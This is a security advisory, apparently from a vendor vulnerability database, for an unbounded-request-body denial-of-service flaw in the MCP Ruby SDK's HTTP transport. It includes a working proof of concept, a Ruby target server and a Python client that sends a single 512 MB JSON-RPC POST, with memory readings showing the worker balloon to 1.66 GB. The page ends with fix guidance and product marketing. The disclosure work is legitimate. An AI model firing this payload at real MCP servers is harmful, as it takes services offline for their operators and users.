Summary
MCP Ruby SDK: Unbounded JSON-RPC request body causes uncontrolled memory allocation in StreamableHTTPTransport
An unauthenticated remote attacker can force any MCP Ruby SDK server using MCP::Server::Transports::StreamableHTTPTransport to allocate gigabytes of memory by sending a single oversized JSON-RPC POST. The transport reads the entire HTTP body into a Ruby String and parses it with JSON.parse(body, symbolize_names: true) with no size limit, no Content-Length pre-check, and no streaming parser, allowing trivial denial of service against the worker process.
Affected component
lib/mcp/server/transports/streamable_http_transport.rb, method handle_post:
- Line 341:
body_string = request.body.read, reads the full HTTP body into memory with no upper bound. - Lines 531–535:
JSON.parse(body_string, symbolize_names: true), fully materialises the parsed object graph; withsymbolize_names: trueevery JSON key also allocates a Ruby symbol.
The vulnerable path runs before session validation, so it is reachable in both the default stateful mode and in stateless: true mode, without an Mcp-Session-Id header and without any prior authentication.
A second instance of the same root cause exists in lib/mcp/server/transports/stdio_transport.rb:23 ($stdin.gets with no limit: argument). The practical impact there is limited because the stdio peer is normally a trusted parent process, but the fix should cover both transports.
Proof of concept
Both files below are self-contained. Save them anywhere on disk, run the server in one terminal and the client in another. The only dependencies are the SDK's existing Gemfile entries (rack ~> 3.2, rackup >= 2.1.0, webrick ~> 1.9) and Python's standard library.
Server (oom_poc_server.rb)
require "bundler/setup"
require "mcp"
require "mcp/server/transports/streamable_http_transport"
require "rackup"
require "webrick"
require "rackup/handler/webrick"
server = MCP::Server.new(name: "oom-poc-target", tools: [])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(
server, stateless: true, enable_json_response: true,
)
Thread.new do
loop do
rss_mb = `ps -o rss= -p #{Process.pid}`.to_i / 1024
STDERR.puts("[mem] PID=#{Process.pid} RSS=#{rss_mb} MB")
sleep 2
end
end
STDERR.puts("[poc] listening on http://127.0.0.1:9293/")
Rackup::Handler::WEBrick.run(
transport,
Host: "127.0.0.1", Port: 9293,
AccessLog: [], Logger: WEBrick::Log.new(File::NULL),
)
Client (oom_poc_client.py)
import socket
HOST, PORT, PAYLOAD_MB = "127.0.0.1", 9293, 512
inner = b"A" * (PAYLOAD_MB * 1024 * 1024 - 64)
body = b'{"jsonrpc":"2.0","id":1,"method":"initialize","params":{"x":"' + inner + b'"}}'
headers = (
f"POST / HTTP/1.1\r\nHost: {HOST}:{PORT}\r\n"
f"Content-Type: application/json\r\n"
f"Accept: application/json, text/event-stream\r\n"
f"Content-Length: {len(body)}\r\nConnection: close\r\n\r\n"
).encode()
s = socket.create_connection((HOST, PORT), timeout=120)
s.sendall(headers)
for i in range(0, len(body), 1 << 20):
s.sendall(body[i:i + (1 << 20)])
print(f"sent {PAYLOAD_MB} MB")
try:
print("recv:", s.recv(2048)[:200])
except OSError as e:
print("server unresponsive:", e)
Reproduction commands
bundle install
ruby oom_poc_server.rb # terminal A
python3 oom_poc_client.py # terminal B
Observed result
Tested on macOS, Ruby 3.2.4 (rbenv), against the SDK's main branch with rack 3.2.6 / rackup 2.3.1 / webrick 1.9.2:
[mem] PID=61394 RSS=44 MB # idle baseline
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=44 MB
[mem] PID=61394 RSS=1663 MB # immediately after one 512 MB POST
[mem] PID=61394 RSS=1663 MB # memory not released
[mem] PID=61394 RSS=1663 MB
A single unauthenticated POST grew the worker's RSS from 44 MB to 1.66 GB (~37× amplification). On any deployment with a per-worker memory cap at or below ~2 GB, the same request OOM-kills the worker.
Suggested mitigation
- Reject requests whose
Content-Length(or actual read length) exceeds a configurable threshold (e.g. 4 MiB by default) before callingrequest.body.read. - Use a streaming JSON parser, or pass
max_nesting:plus a hard byte cap toJSON.parse. - Apply the same
limit:argument to$stdin.getsinStdioTransportfor defence in depth.
Impact
- Attacker requirements: none beyond TCP reach of the MCP endpoint. No session, no credentials, no prior interaction.
- Effect: memory-exhaustion denial of service. A single request can take a worker offline; sustained low-rate requests keep the service down across worker restarts. On multi-tenant deployments a single attacker tenant can starve neighbours.
- Affected deployments: every server mounting
MCP::Server::Transports::StreamableHTTPTransportas a Rack app, the canonical HTTP deployment pattern. Both stateful andstateless: trueconfigurations are affected.
The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap. Typical impact: resource exhaustion leading to denial of service.
CVE-2026-67432 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.23.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2026-67432? CVE-2026-67432 is a high-severity allocation of resources without limits or throttling vulnerability in mcp (rubygems), affecting versions <= 0.22.0. It is fixed in 0.23.0. The application allocates resources such as memory, threads, or file descriptors based on untrusted input without enforcing a cap.
- How severe is CVE-2026-67432? CVE-2026-67432 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of mcp are affected by CVE-2026-67432? mcp (rubygems) versions <= 0.22.0 is affected.
- Is there a fix for CVE-2026-67432? Yes. CVE-2026-67432 is fixed in 0.23.0. Upgrade to this version or later.
- Is CVE-2026-67432 exploitable, and should I be worried? Whether CVE-2026-67432 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-67432 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-67432? Upgrade
mcpto 0.23.0 or later.